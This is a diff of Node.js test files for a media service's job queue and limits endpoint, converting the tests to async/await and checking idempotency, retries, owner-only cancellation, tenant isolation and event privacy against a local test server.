assert.strictEqual((await queue.get(q2.job.id)).status, 'queued', 'a cancel whose event cannot be written changes nothing');++ assert.ok(hooks.length === 0, 'job events go to Events only, not the app webhook');++ console.log('✅ job state changes commit with their media.job.* outbox row, or not at all');-- // ── 3. Idempotency keys ──-- const k1 = queue.enqueue({ appId: 'live', type: 'test.permanent', params: { n: 1 }, idempotencyKey: 'key-1' });-- const k2 = queue.enqueue({ appId: 'live', type: 'test.permanent', params: { n: 1 }, idempotencyKey: 'key-1' });-- assert.ok(k1.created && k2.replayed && k1.job.id === k2.job.id);-- assert.ok(!JSON.stringify(jobPayloads(k1.job.id)).includes('key-1'), 'the idempotency key stays out of the event');-- assert.throws(() => queue.enqueue({ appId: 'live', type: 'test.permanent', params: { n: 2 }, idempotencyKey: 'key-1' }), (e) => e.code === 'media.job.idempotency_conflict' && e.status === 409);-- assert.ok(queue.enqueue({ appId: 'games', type: 'test.permanent', params: { n: 1 }, idempotencyKey: 'key-1' }).created, 'keys are per tenant');-- const d1 = queue.enqueue({ appId: 'live', type: 'test.permanent', params: { same: true }, dedupeActive: true });-- const d2 = queue.enqueue({ appId: 'live', type: 'test.permanent', params: { same: true }, dedupeActive: true });-- assert.ok(d2.deduped && d2.job.id === d1.job.id, 'dedupeActive joins an identical queued job');-- for (const id of [q2.job.id, k1.job.id, d1.job.id]) queue.cancel(id, { by: 'test' });-- db.run("UPDATE media_jobs SET status = 'cancelled' WHERE app_id = 'games'");-- console.log('✅ idempotency keys: replay, per-tenant, conflict on a different request; active-job dedupe');++ // ── 3. Idempotency keys ──++ const k1 = await queue.enqueue({ appId: 'live', type: 'test.permanent', params: { n: 1 }, idempotencyKey: 'key-1' });++ const k2 = await queue.enqueue({ appId: 'live', type: 'test.permanent', params: { n: 1 }, idempotencyKey: 'key-1' });++ assert.ok(k1.created && k2.replayed && k1.job.id === k2.job.id);++ assert.ok(!JSON.stringify(await jobPayloads(k1.job.id)).includes('key-1'), 'the idempotency key stays out of the event');++ await assert.rejects(async () => await queue.enqueue({ appId: 'live', type: 'test.permanent', params: { n: 2 }, idempotencyKey: 'key-1' }), (e) => e.code === 'media.job.idempotency_conflict' && e.status === 409);++ assert.ok((await queue.enqueue({ appId: 'games', type: 'test.permanent', params: { n: 1 }, idempotencyKey: 'key-1' })).created, 'keys are per tenant');++ const d1 = await queue.enqueue({ appId: 'live', type: 'test.permanent', params: { same: true }, dedupeActive: true });++ const d2 = await queue.enqueue({ appId: 'live', type: 'test.permanent', params: { same: true }, dedupeActive: true });++ assert.ok(d2.deduped && d2.job.id === d1.job.id, 'dedupeActive joins an identical queued job');++ for (const id of [q2.job.id, k1.job.id, d1.job.id]) await queue.cancel(id, { by: 'test' });++ await db.run("UPDATE media_jobs SET status = 'cancelled' WHERE app_id = 'games'");++ console.log('✅ idempotency keys: replay, per-tenant, conflict on a different request; active-job dedupe');-- // ── 4. Worker: retry with backoff + checkpoint resume, permanent failure, attempts exhausted ──-- assert.ok(worker.start());-- const perm = queue.enqueue({ appId: 'live', type: 'test.permanent' });-- const always = queue.enqueue({ appId: 'live', type: 'test.always' });-- worker.kick();-- assert.ok(await waitFor(() => queue.get(a.job.id).status === 'succeeded'), 'the flaky job succeeds on its retry');-- assert.strictEqual(flakyCalls, 2);-- assert.deepStrictEqual(queue.jobPublic(queue.get(a.job.id)).result, { resumed_from: 1 }, 'the retry resumed from the checkpoint');-- assert.deepStrictEqual(jobEvents(a.job.id), ['media.job.queued', 'media.job.started', 'media.job.retrying', 'media.job.started', 'media.job.succeeded']);-- assert.ok(await waitFor(() => queue.get(perm.job.id).status === 'failed'));-- assert.deepStrictEqual([queue.get(perm.job.id).attempts, queue.get(perm.job.id).error_code], [1, 'bad_input'], 'a permanent failure is not retried');-- assert.ok(await waitFor(() => queue.get(always.job.id).status === 'failed'));-- assert.strictEqual(queue.get(always.job.id).attempts, 2, 'retried until max_attempts');-- assert.deepStrictEqual(jobEvents(always.job.id), ['media.job.queued', 'media.job.started', 'media.job.retrying', 'media.job.started', 'media.job.failed']);-- const failedEv = outbox().filter((e) => e.subject.id === always.job.id).pop();-- assert.deepStrictEqual([failedEv.priority, failedEv.payload.error_code, failedEv.payload.has_result, failedEv.payload.attempts], ['important', null, false, 2]);-- assert.ok(!JSON.stringify(failedEv.payload).includes('nope'), 'the free-text error stays out of the event');-- assert.strictEqual(queue.jobPublic(queue.get(always.job.id)).error, 'nope', 'GET the job for it');-- const permEv = outbox().filter((e) => e.subject.id === perm.job.id).pop();-- assert.deepStrictEqual([permEv.event_type, permEv.payload.error_code, permEv.payload.attempts], ['media.job.failed', 'bad_input', 1], 'the stable code is in the event');-- assert.ok(!JSON.stringify(permEv.payload).includes('will never work'));-- const [aQueued, aStarted, aRetrying, aStarted2, aSucceeded] = jobPayloads(a.job.id);-- assert.deepStrictEqual([aQueued.status, aStarted.status, aRetrying.status, aStarted2.status, aSucceeded.status], ['queued', 'running', 'queued', 'running', 'succeeded']);-- assert.ok(ISO.test(aRetrying.run_after) && ISO.test(aStarted.started_at) && aRetrying.finished_at === null, 'retrying: a backoff time, started, not finished');-- assert.deepStrictEqual([aStarted.attempts, aStarted2.attempts, aStarted2.started_at], [1, 2, aStarted.started_at], 'started_at stays the first attempt\'s start');-- assert.deepStrictEqual([aSucceeded.has_result, ISO.test(aSucceeded.finished_at), aSucceeded.error_code], [true, true, null]);-- assert.ok(!JSON.stringify(aSucceeded).includes('resumed_from') && !JSON.stringify(jobPayloads(a.job.id)).includes('"x"'), 'neither the result nor the params are in the events');-- console.log('✅ worker: retries with backoff resume from the checkpoint; permanent failures stop; attempts are capped');++ // ── 4. Worker: retry with backoff + checkpoint resume, permanent failure, attempts exhausted ──++ assert.ok(await worker.start());++ const perm = await queue.enqueue({ appId: 'live', type: 'test.permanent' });++ const always = await queue.enqueue({ appId: 'live', type: 'test.always' });++ worker.kick();++ assert.ok(await waitFor(async () => (await queue.get(a.job.id)).status === 'succeeded'), 'the flaky job succeeds on its retry');++ assert.strictEqual(flakyCalls, 2);++ assert.deepStrictEqual(queue.jobPublic(await queue.get(a.job.id)).result, { resumed_from: 1 }, 'the retry resumed from the checkpoint');++ assert.deepStrictEqual(await jobEvents(a.job.id), ['media.job.queued', 'media.job.started', 'media.job.retrying', 'media.job.started', 'media.job.succeeded']);++ assert.ok(await waitFor(async () => (await queue.get(perm.job.id)).status === 'failed'));++ assert.deepStrictEqual([(await queue.get(perm.job.id)).attempts, (await queue.get(perm.job.id)).error_code], [1, 'bad_input'], 'a permanent failure is not retried');++ assert.ok(await waitFor(async () => (await queue.get(always.job.id)).status === 'failed'));++ assert.strictEqual((await queue.get(always.job.id)).attempts, 2, 'retried until max_attempts');++ assert.deepStrictEqual(await jobEvents(always.job.id), ['media.job.queued', 'media.job.started', 'media.job.retrying', 'media.job.started', 'media.job.failed']);++ const failedEv = (await outbox()).filter((e) => e.subject.id === always.job.id).pop();++ assert.deepStrictEqual([failedEv.priority, failedEv.payload.error_code, failedEv.payload.has_result, failedEv.payload.attempts], ['important', null, false, 2]);++ assert.ok(!JSON.stringify(failedEv.payload).includes('nope'), 'the free-text error stays out of the event');++ assert.strictEqual(queue.jobPublic(await queue.get(always.job.id)).error, 'nope', 'GET the job for it');++ const permEv = (await outbox()).filter((e) => e.subject.id === perm.job.id).pop();++ assert.deepStrictEqual([permEv.event_type, permEv.payload.error_code, permEv.payload.attempts], ['media.job.failed', 'bad_input', 1], 'the stable code is in the event');++ assert.ok(!JSON.stringify(permEv.payload).includes('will never work'));++ const [aQueued, aStarted, aRetrying, aStarted2, aSucceeded] = await jobPayloads(a.job.id);++ assert.deepStrictEqual([aQueued.status, aStarted.status, aRetrying.status, aStarted2.status, aSucceeded.status], ['queued', 'running', 'queued', 'running', 'succeeded']);++ assert.ok(ISO.test(aRetrying.run_after) && ISO.test(aStarted.started_at) && aRetrying.finished_at === null, 'retrying: a backoff time, started, not finished');++ assert.deepStrictEqual([aStarted.attempts, aStarted2.attempts, aStarted2.started_at], [1, 2, aStarted.started_at], 'started_at stays the first attempt\'s start');++ assert.deepStrictEqual([aSucceeded.has_result, ISO.test(aSucceeded.finished_at), aSucceeded.error_code], [true, true, null]);++ assert.ok(!JSON.stringify(aSucceeded).includes('resumed_from') && !JSON.stringify(await jobPayloads(a.job.id)).includes('"x"'), 'neither the result nor the params are in the events');++ console.log('✅ worker: retries with backoff resume from the checkpoint; permanent failures stop; attempts are capped');-- // ── 5. Cancellation by the owner ──-- const slow = queue.enqueue({ appId: 'live', type: 'test.slow', createdBy: 'app:live:user:7', ownerUserId: 7 });-- worker.kick();-- assert.ok(await waitFor(() => queue.get(slow.job.id).status === 'running'));-- const express = require('express');-- const app = express();-- app.use(express.json());-- app.use('/api/v2/:app/jobs', require('../server/jobs/routes'));-- app.use('/api/v1/:app/thumbnails', require('../server/thumbnails/routes'));-- const server = http.createServer(app);-- await new Promise((r) => server.listen(0, '127.0.0.1', r));-- const api = `http://127.0.0.1:${server.address().port}`;-- const call = async (method, p, { key = 'live-key', body, headers = {} } = {}) => {-- const h = { authorization: `Bearer ${key}`, ...headers };-- if (body !== undefined) h['content-type'] = 'application/json';-- const res = await fetch(api + p, { method, headers: h, body: body === undefined ? undefined : JSON.stringify(body) });-- const text = await res.text();-- let json = null; try { json = JSON.parse(text); } catch { /* */ }-- return { status: res.status, body: json, headers: res.headers };-- };-- let r = await call('POST', `/api/v2/live/jobs/${slow.job.id}/cancel`, { headers: { 'x-ov-user-id': '8' } });-- assert.strictEqual(r.status, 404, 'another user cannot see or cancel it');-- r = await call('POST', `/api/v2/games/jobs/${slow.job.id}/cancel`, { key: 'games-key' });-- assert.strictEqual(r.status, 404, 'another tenant cannot either');-- r = await call('POST', `/api/v2/live/jobs/${slow.job.id}/cancel`, { headers: { 'x-ov-user-id': '7' } });-- assert.deepStrictEqual([r.status, r.body.job.cancel_requested], [202, true], 'a running job stops at its next check');-- assert.ok(await waitFor(() => queue.get(slow.job.id).status === 'cancelled'), 'the abort signal stopped it');-- assert.deepStrictEqual(jobEvents(slow.job.id), ['media.job.queued', 'media.job.started', 'media.job.cancelled']);-- const slowCancelled = jobPayloads(slow.job.id).pop();-- assert.deepStrictEqual([slowCancelled.cancel_requested, slowCancelled.error_code, ISO.test(slowCancelled.finished_at)], [true, 'cancelled', true]);-- assert.ok(!/user:7|"owner_user_id"|"created_by"|"decided_by"/.test(JSON.stringify(jobPayloads(slow.job.id))), 'who created or cancelled it (tenant-local user ids) stays out of the events');-- assert.deepStrictEqual([queue.jobPublic(queue.get(slow.job.id)).created_by, queue.jobPublic(queue.get(slow.job.id)).owner_user_id], ['app:live:user:7', 7], 'the jobs API still has them');-- r = await call('DELETE', `/api/v2/live/jobs/${slow.job.id}`);-- assert.deepStrictEqual([r.status, r.body.code], [409, 'media.job.finished']);-- const waiting = queue.enqueue({ appId: 'live', type: 'test.permanent', runAfterS: 3600 });-- r = await call('DELETE', `/api/v2/live/jobs/${waiting.job.id}`);-- assert.deepStrictEqual([r.status, r.body.job.status], [200, 'cancelled'], 'a queued job is cancelled at once');-- console.log('✅ cancellation: owner only; queued at once, running through the abort signal; finished = 409');++ // ── 5. Cancellation by the owner ──++ const slow = await queue.enqueue({ appId: 'live', type: 'test.slow', createdBy: 'app:live:user:7', ownerUserId: 7 });++ worker.kick();++ assert.ok(await waitFor(async () => (await queue.get(slow.job.id)).status === 'running'));++ const express = require('express');++ const app = express();++ app.use(express.json());++ app.use('/api/v2/:app/jobs', require('../server/jobs/routes'));++ app.use('/api/v1/:app/thumbnails', require('../server/thumbnails/routes'));++ const server = http.createServer(app);++ await new Promise((r) => server.listen(0, '127.0.0.1', r));++ const api = `http://127.0.0.1:${server.address().port}`;++ const call = async (method, p, { key = 'live-key', body, headers = {} } = {}) => {++ const h = { authorization: `Bearer ${key}`, ...headers };++ if (body !== undefined) h['content-type'] = 'application/json';++ const res = await fetch(api + p, { method, headers: h, body: body === undefined ? undefined : JSON.stringify(body) });++ const text = await res.text();++ let json = null; try { json = JSON.parse(text); } catch { /* */ }++ return { status: res.status, body: json, headers: res.headers };++ };++ let r = await call('POST', `/api/v2/live/jobs/${slow.job.id}/cancel`, { headers: { 'x-ov-user-id': '8' } });++ assert.strictEqual(r.status, 404, 'another user cannot see or cancel it');++ r = await call('POST', `/api/v2/games/jobs/${slow.job.id}/cancel`, { key: 'games-key' });++ assert.strictEqual(r.status, 404, 'another tenant cannot either');++ r = await call('POST', `/api/v2/live/jobs/${slow.job.id}/cancel`, { headers: { 'x-ov-user-id': '7' } });++ assert.deepStrictEqual([r.status, r.body.job.cancel_requested], [202, true], 'a running job stops at its next check');++ assert.ok(await waitFor(async () => (await queue.get(slow.job.id)).status === 'cancelled'), 'the abort signal stopped it');++ assert.deepStrictEqual(await jobEvents(slow.job.id), ['media.job.queued', 'media.job.started', 'media.job.cancelled']);++ const slowCancelled = (await jobPayloads(slow.job.id)).pop();++ assert.deepStrictEqual([slowCancelled.cancel_requested, slowCancelled.error_code, ISO.test(slowCancelled.finished_at)], [true, 'cancelled', true]);++ assert.ok(!/user:7|"owner_user_id"|"created_by"|"decided_by"/.test(JSON.stringify(await jobPayloads(slow.job.id))), 'who created or cancelled it (tenant-local user ids) stays out of the events');++ assert.deepStrictEqual([queue.jobPublic(await queue.get(slow.job.id)).created_by, queue.jobPublic(await queue.get(slow.job.id)).owner_user_id], ['app:live:user:7', 7], 'the jobs API still has them');++ r = await call('DELETE', `/api/v2/live/jobs/${slow.job.id}`);++ assert.deepStrictEqual([r.status, r.body.code], [409, 'media.job.finished']);++ const waiting = await queue.enqueue({ appId: 'live', type: 'test.permanent', runAfterS: 3600 });++ r = await call('DELETE', `/api/v2/live/jobs/${waiting.job.id}`);++ assert.deepStrictEqual([r.status, r.body.job.status], [200, 'cancelled'], 'a queued job is cancelled at once');++ console.log('✅ cancellation: owner only; queued at once, running through the abort signal; finished = 409');-- // ── 6. Interrupted jobs are requeued at start ──-- worker.stop();-- const orphan = queue.enqueue({ appId: 'live', type: 'test.permanent', params: { orphan: true } });-- db.run("UPDATE media_jobs SET status = 'running', attempts = 1, lease_until = datetime('now', '+1 hour') WHERE id = ?", [orphan.job.id]);-- assert.strictEqual(queue.recoverInterrupted({ all: true }), 1);-- const back = queue.get(orphan.job.id);-- assert.deepStrictEqual([back.status, back.error_code], ['queued', 'interrupted']);-- assert.deepStrictEqual(jobEvents(orphan.job.id).slice(-1), ['media.job.retrying']);-- const orphanRetry = jobPayloads(orphan.job.id).pop();-- assert.deepStrictEqual([orphanRetry.status, orphanRetry.error_code, ISO.test(orphanRetry.run_after)], ['queued', 'interrupted', true]);-- queue.cancel(orphan.job.id, { by: 'test' });-- console.log('✅ a job left running by a dead process is requeued (or failed when out of attempts)');++ // ── 6. Interrupted jobs are requeued at start ──++ worker.stop();++ const orphan = await queue.enqueue({ appId: 'live', type: 'test.permanent', params: { orphan: true } });++ await db.run("UPDATE media_jobs SET status = 'running', attempts = 1, lease_until = datetime('now', '+1 hour') WHERE id = ?", [orphan.job.id]);++ assert.strictEqual(await queue.recoverInterrupted({ all: true }), 1);++ const back = await queue.get(orphan.job.id);++ assert.deepStrictEqual([back.status, back.error_code], ['queued', 'interrupted']);++ assert.deepStrictEqual((await jobEvents(orphan.job.id)).slice(-1), ['media.job.retrying']);++ const orphanRetry = (await jobPayloads(orphan.job.id)).pop();++ assert.deepStrictEqual([orphanRetry.status, orphanRetry.error_code, ISO.test(orphanRetry.run_after)], ['queued', 'interrupted', true]);++ await queue.cancel(orphan.job.id, { by: 'test' });++ console.log('✅ a job left running by a dead process is requeued (or failed when out of attempts)');-- // ── 7. The jobs API ──-- r = await call('POST', '/api/v2/live/jobs', { body: { type: 'nope' } });-- assert.deepStrictEqual([r.status, r.body.code], [400, 'media.job.unknown_type']);-- r = await call('POST', '/api/v2/live/jobs', { body: { type: 'object.split' } });-- assert.deepStrictEqual([r.status, r.body.code], [400, 'media.job.invalid'], 'object.split needs an object');-- r = await call('POST', '/api/v2/live/jobs', { body: { type: 'invariant.scan' }, headers: { 'idempotency-key': 'scan-1' } });-- assert.strictEqual(r.status, 202);-- const scanId = r.body.job.id;-- r = await call('POST', '/api/v2/live/jobs', { body: { type: 'invariant.scan' }, headers: { 'idempotency-key': 'scan-1' } });-- assert.deepStrictEqual([r.status, r.body.job.id, r.headers.get('idempotent-replayed')], [200, scanId, 'true']);-- r = await call('POST', `/api/v2/live/jobs/${scanId}/approve`);-- assert.deepStrictEqual([r.status, r.body.code], [409, 'media.job.not_proposed']);-- r = await call('GET', `/api/v2/live/jobs?type=invariant.scan`);-- assert.deepStrictEqual(r.body.jobs.map((j) => j.id), [scanId]);-- r = await call('GET', `/api/v2/live/jobs/${scanId}`);-- assert.deepStrictEqual([r.status, r.body.job.idempotency_key, r.body.job.params, r.body.job.created_by, r.body.job.created_at.includes('T')], [200, 'scan-1', {}, 'app:live', false],-- 'GET the job answers as before (queue.jobPublic: params, idempotency key, creator, SQLite times)');-- r = await call('GET', `/api/v2/games/jobs/${scanId}`, { key: 'games-key' });-- assert.strictEqual(r.status, 404, 'tenants are isolated');-- r = await call('GET', `/api/v2/live/jobs?status=bogus`);-- assert.strictEqual(r.status, 400);-- queue.cancel(scanId, { by: 'test' });-- console.log('✅ jobs API: create (Idempotency-Key replay), get, list, approve only proposals, tenant isolation');++ // ── 7. The jobs API ──++ r = await call('POST', '/api/v2/live/jobs', { body: { type: 'nope' } });++ assert.deepStrictEqual([r.status, r.body.code], [400, 'media.job.unknown_type']);++ r = await call('POST', '/api/v2/live/jobs', { body: { type: 'object.split' } });++ assert.deepStrictEqual([r.status, r.body.code], [400, 'media.job.invalid'], 'object.split needs an object');++ r = await call('POST', '/api/v2/live/jobs', { body: { type: 'invariant.scan' }, headers: { 'idempotency-key': 'scan-1' } });++ assert.strictEqual(r.status, 202);++ const scanId = r.body.job.id;++ r = await call('POST', '/api/v2/live/jobs', { body: { type: 'invariant.scan' }, headers: { 'idempotency-key': 'scan-1' } });++ assert.deepStrictEqual([r.status, r.body.job.id, r.headers.get('idempotent-replayed')], [200, scanId, 'true']);++ r = await call('POST', `/api/v2/live/jobs/${scanId}/approve`);++ assert.deepStrictEqual([r.status, r.body.code], [409, 'media.job.not_proposed']);++ r = await call('GET', `/api/v2/live/jobs?type=invariant.scan`);++ assert.deepStrictEqual(r.body.jobs.map((j) => j.id), [scanId]);++ r = await call('GET', `/api/v2/live/jobs/${scanId}`);++ assert.deepStrictEqual([r.status, r.body.job.idempotency_key, r.body.job.params, r.body.job.created_by, r.body.job.created_at.includes('T')], [200, 'scan-1', {}, 'app:live', false],++ 'GET the job answers as before (queue.jobPublic: params, idempotency key, creator, SQLite times)');++ r = await call('GET', `/api/v2/games/jobs/${scanId}`, { key: 'games-key' });++ assert.strictEqual(r.status, 404, 'tenants are isolated');++ r = await call('GET', `/api/v2/live/jobs?status=bogus`);++ assert.strictEqual(r.status, 400);++ await queue.cancel(scanId, { by: 'test' });++ console.log('✅ jobs API: create (Idempotency-Key replay), get, list, approve only proposals, tenant isolation');-- // ── 8. The v1 thumbnail route runs as a thumbnail.regenerate job ──-- const thumbs = require('../server/thumbnails/thumbnail-service');-- let gens = 0;-- thumbs.generateVodThumbnail = async (id) => { gens++; await sleep(150); db.run('UPDATE vods SET thumbnail_url = ? WHERE id = ?', [`/t/vod-${id}-1.jpg`, id]); return `/t/vod-${id}-1.jpg`; };-- fs.writeFileSync(path.join(process.env.VOD_PATH, 'rec-1.webm'), 'not really a video');-- conn.prepare("INSERT INTO vods (id, app_id, user_id, title, file_path, is_public, duration_seconds) VALUES (1, 'live', 5, 'A', ?, 1, 60)").run(path.join(process.env.VOD_PATH, 'rec-1.webm'));-- conn.prepare("INSERT INTO vods (id, app_id, user_id, title, file_path, is_public, duration_seconds) VALUES (2, 'live', 5, 'B', ?, 1, 60)").run(path.join(process.env.VOD_PATH, 'gone.webm'));-- require('../server/objects/model').sync('vod', 1);-- const [t1, t2] = await Promise.all([call('POST', '/api/v1/live/thumbnails/vod/1'), call('POST', '/api/v1/live/thumbnails/vod/1')]);-- assert.deepStrictEqual([t1.status, t1.body.url, t2.status, t2.body.url], [200, '/t/vod-1-1.jpg', 200, '/t/vod-1-1.jpg'], 'the answer keeps its { url } shape');-- assert.strictEqual(t1.body.job_id, t2.body.job_id, 'two concurrent requests share one job');-- assert.strictEqual(gens, 1, 'one generation for both');-- const tj = queue.get(t1.body.job_id);-- assert.deepStrictEqual([tj.job_type, tj.status, tj.object_id], ['thumbnail.regenerate', 'succeeded', db.get('SELECT object_id FROM vods WHERE id = 1').object_id]);-- assert.deepStrictEqual(jobEvents(tj.id), ['media.job.queued', 'media.job.started', 'media.job.succeeded']);-- const thumbDone = jobPayloads(tj.id).pop();-- assert.deepStrictEqual([thumbDone.has_result, thumbDone.object_id], [true, tj.object_id]);-- assert.ok(!JSON.stringify(jobPayloads(tj.id)).includes('/t/vod-1'), 'a thumbnail URL (of a VOD that may be private) stays out of the event');-- r = await call('POST', '/api/v1/live/thumbnails/vod/2');-- assert.deepStrictEqual([r.status, r.body.error], [404, 'Media file unavailable'], 'no media is still a 404');-- assert.strictEqual(queue.get(r.body.job_id).error_code, 'media_unavailable');-- r = await call('POST', '/api/v1/live/thumbnails/vod/1?async=1');-- assert.strictEqual(r.status, 202);-- assert.ok(await waitFor(() => false, 50) || true);-- worker.start();-- assert.ok(await waitFor(() => queue.get(r.body.job.id).status === 'succeeded'), '?async=1 queues it for the worker');-- r = await call('POST', '/api/v2/live/jobs', { body: { type: 'thumbnail.regenerate', object_id: `legacy:live:vod:1` } });-- assert.deepStrictEqual([r.status, r.body.job.params], [202, { kind: 'vod', id: 1 }], 'the v2 API takes the object and finds the row');-- assert.ok(await waitFor(() => queue.get(r.body.job.id).status === 'succeeded'));-- console.log('✅ the v1 thumbnail route runs a thumbnail.regenerate job and answers { url } as before (404 without media)');++ // ── 8. The v1 thumbnail route runs as a thumbnail.regenerate job ──++ const thumbs = require('../server/thumbnails/thumbnail-service');++ let gens = 0;++ thumbs.generateVodThumbnail = async (id) => { gens++; await sleep(150); await db.run('UPDATE vods SET thumbnail_url = ? WHERE id = ?', [`/t/vod-${id}-1.jpg`, id]); return `/t/vod-${id}-1.jpg`; };++ fs.writeFileSync(path.join(process.env.VOD_PATH, 'rec-1.webm'), 'not really a video');++ await conn.prepare("INSERT INTO vods (id, app_id, user_id, title, file_path, is_public, duration_seconds) OVERRIDING SYSTEM VALUE VALUES (1, 'live', 5, 'A', ?, 1, 60) RETURNING id").run(path.join(process.env.VOD_PATH, 'rec-1.webm'));++ await conn.prepare("INSERT INTO vods (id, app_id, user_id, title, file_path, is_public, duration_seconds) OVERRIDING SYSTEM VALUE VALUES (2, 'live', 5, 'B', ?, 1, 60) RETURNING id").run(path.join(process.env.VOD_PATH, 'gone.webm'));++ await require('../server/objects/model').sync('vod', 1);++ const [t1, t2] = await Promise.all([call('POST', '/api/v1/live/thumbnails/vod/1'), call('POST', '/api/v1/live/thumbnails/vod/1')]);++ assert.deepStrictEqual([t1.status, t1.body.url, t2.status, t2.body.url], [200, '/t/vod-1-1.jpg', 200, '/t/vod-1-1.jpg'], 'the answer keeps its { url } shape');++ assert.strictEqual(t1.body.job_id, t2.body.job_id, 'two concurrent requests share one job');++ assert.strictEqual(gens, 1, 'one generation for both');++ const tj = await queue.get(t1.body.job_id);++ assert.deepStrictEqual([tj.job_type, tj.status, tj.object_id], ['thumbnail.regenerate', 'succeeded', (await db.get('SELECT object_id FROM vods WHERE id = 1')).object_id]);++ assert.deepStrictEqual(await jobEvents(tj.id), ['media.job.queued', 'media.job.started', 'media.job.succeeded']);++ const thumbDone = (await jobPayloads(tj.id)).pop();++ assert.deepStrictEqual([thumbDone.has_result, thumbDone.object_id], [true, tj.object_id]);++ assert.ok(!JSON.stringify(await jobPayloads(tj.id)).includes('/t/vod-1'), 'a thumbnail URL (of a VOD that may be private) stays out of the event');++ r = await call('POST', '/api/v1/live/thumbnails/vod/2');++ assert.deepStrictEqual([r.status, r.body.error], [404, 'Media file unavailable'], 'no media is still a 404');++ assert.strictEqual((await queue.get(r.body.job_id)).error_code, 'media_unavailable');++ r = await call('POST', '/api/v1/live/thumbnails/vod/1?async=1');++ assert.strictEqual(r.status, 202);++ assert.ok(await waitFor(() => false, 50) || true);++ await worker.start();++ assert.ok(await waitFor(async () => (await queue.get(r.body.job.id)).status === 'succeeded'), '?async=1 queues it for the worker');++ r = await call('POST', '/api/v2/live/jobs', { body: { type: 'thumbnail.regenerate', object_id: `legacy:live:vod:1` } });++ assert.deepStrictEqual([r.status, r.body.job.params], [202, { kind: 'vod', id: 1 }], 'the v2 API takes the object and finds the row');++ assert.ok(await waitFor(async () => (await queue.get(r.body.job.id)).status === 'succeeded'));++ console.log('✅ the v1 thumbnail route runs a thumbnail.regenerate job and answers { url } as before (404 without media)');-- // Every job event this run queued has the projection's shape and its transition's status.-- const all = outbox().filter((e) => e.event_type.startsWith('media.job.'));-- assert.ok(all.length > 30);-- for (const e of all) assertJobEvent(e);-- assert.deepStrictEqual([...new Set(all.map((e) => e.event_type))].sort(), Object.keys(TRANSITION_STATUS).filter((t) => t !== 'proposed').map((t) => `media.job.${t}`).sort());-- console.log(`✅ ${all.length} media.job.* events: the projection only (no params, result, error text, idempotency key, creator/decider or owner user id), ISO 8601 UTC times`);++ // Every job event this run queued has the projection's shape and its transition's status.++ const all = (await outbox()).filter((e) => e.event_type.startsWith('media.job.'));++ assert.ok(all.length > 30);++ for (const e of all) assertJobEvent(e);++ assert.deepStrictEqual([...new Set(all.map((e) => e.event_type))].sort(), Object.keys(TRANSITION_STATUS).filter((t) => t !== 'proposed').map((t) => `media.job.${t}`).sort());++ console.log(`✅ ${all.length} media.job.* events: the projection only (no params, result, error text, idempotency key, creator/decider or owner user id), ISO 8601 UTC times`);-- worker.stop();-- events._reset();-- server.close();-- stub.close();-- console.log('\njobs: all checks passed');-- process.exit(0);++ worker.stop();++ events._reset();++ server.close();++ stub.close();++ console.log('\njobs: all checks passed');++ process.exit(0);++ })().catch((err) => { console.error(err); process.exit(1); });})().catch((err) => { console.error(err); process.exit(1); });@@@ -1,38 +1,40 @@'use strict';--// GET /limits.json (WS-N task 7): the developer limits Media enforces, read from the running config--// (an env override is what it answers), public with CORS *; Codes' /docs/limits renders it. rate_limits lists the--// per-actor rate limits the routes declare (WS-R task 4).--process.env.MEDIA_APP_SANDBOX_QUOTA_MB = '50';--const assert = require('assert');--const http = require('http');--const express = require('express');--const config = require('../server/config');--const { limitsOf, mountLimits } = require('../server/limits');--(async () => {-- const MB = 1024 * 1024;-- const by = Object.fromEntries(limitsOf(config).limits.map((l) => [l.id, l]));-- assert.deepStrictEqual([by.storage_bytes.production, by.storage_bytes.sandbox], [config.apps.projectQuotaMb * MB, 50 * MB], 'an env override is what it answers');-- assert.strictEqual(by.child_namespaces.production, config.objects.maxChildNamespaces);-- assert.strictEqual(by.storage_bytes.exceeded, '413 media.quota.exceeded');-- assert.strictEqual(by.deleted_retention_days.capability, 'media.object.delete');-- for (const l of Object.values(by)) assert.ok(Number.isInteger(l.production) && Number.isInteger(l.sandbox) && l.unit && l.exceeded, l.id);++ // GET /limits.json (WS-N task 7): the developer limits Media enforces, read from the running config++ // (an env override is what it answers), public with CORS *; Codes' /docs/limits renders it. rate_limits lists the++ // per-actor rate limits the routes declare (WS-R task 4).++ process.env.MEDIA_APP_SANDBOX_QUOTA_MB = '50';++ const assert = require('assert');++ const http = require('http');++ const express = require('express');++ const config = require('../server/config');++ const { limitsOf, mountLimits } = require('../server/limits');++++ (async () => {++ const MB = 1024 * 1024;++ const by = Object.fromEntries(limitsOf(config).limits.map((l) => [l.id, l]));++ assert.deepStrictEqual([by.storage_bytes.production, by.storage_bytes.sandbox], [config.apps.projectQuotaMb * MB, 50 * MB], 'an env override is what it answers');++ assert.strictEqual(by.child_namespaces.production, config.objects.maxChildNamespaces);++ assert.strictEqual(by.storage_bytes.exceeded, '413 media.quota.exceeded');++ assert.strictEqual(by.deleted_retention_days.capability, 'media.object.delete');++ for (const l of Object.values(by)) assert.ok(Number.isInteger(l.production) && Number.isInteger(l.sandbox) && l.unit && l.exceeded, l.id);-- const app = express();-- mountLimits(app, config);-- const server = await new Promise((r) => { const s = app.listen(0, '127.0.0.1', () => r(s)); });-- const res = await fetch(`http://127.0.0.1:${server.address().port}/limits.json`);-- assert.strictEqual(res.status, 200);-- assert.strictEqual(res.headers.get('access-control-allow-origin'), '*');-- const body = await res.json();-- assert.strictEqual(body.service, 'media');-- // The per-actor rate limits, as the routes declare them (loading a router declares its limits).-- require('../server/objects/routes');-- const again = await (await fetch(`http://127.0.0.1:${server.address().port}/limits.json`)).json();-- const rate = Object.fromEntries(again.rate_limits.map((l) => [l.id, l]));-- assert.deepStrictEqual([rate['media.object.upload'].minute, rate['media.object.upload'].hour], [30, 600]);-- assert.deepStrictEqual([rate['media.object.part'].minute, rate['media.object.part'].hour], [600, 20000]);-- assert.strictEqual(rate['media.object.upload'].exceeded, '429 rate_limited');-- server.close();-- console.log('limits: all checks passed');--})().catch((e) => { console.error(e); process.exit(1); });++ const app = express();++ mountLimits(app, config);++ const server = await new Promise((r) => { const s = app.listen(0, '127.0.0.1', () => r(s)); });++ const res = await fetch(`http://127.0.0.1:${server.address().port}/limits.json`);++ assert.strictEqual(res.status, 200);++ assert.strictEqual(res.headers.get('access-control-allow-origin'), '*');++ const body = await res.json();++ assert.strictEqual(body.service, 'media');++ // The per-actor rate limits, as the routes declare them (loading a router declares its limits).++ require('../server/objects/routes');++ const again = await (await fetch(`http://127.0.0.1:${server.address().port}/limits.json`)).json();++ const rate = 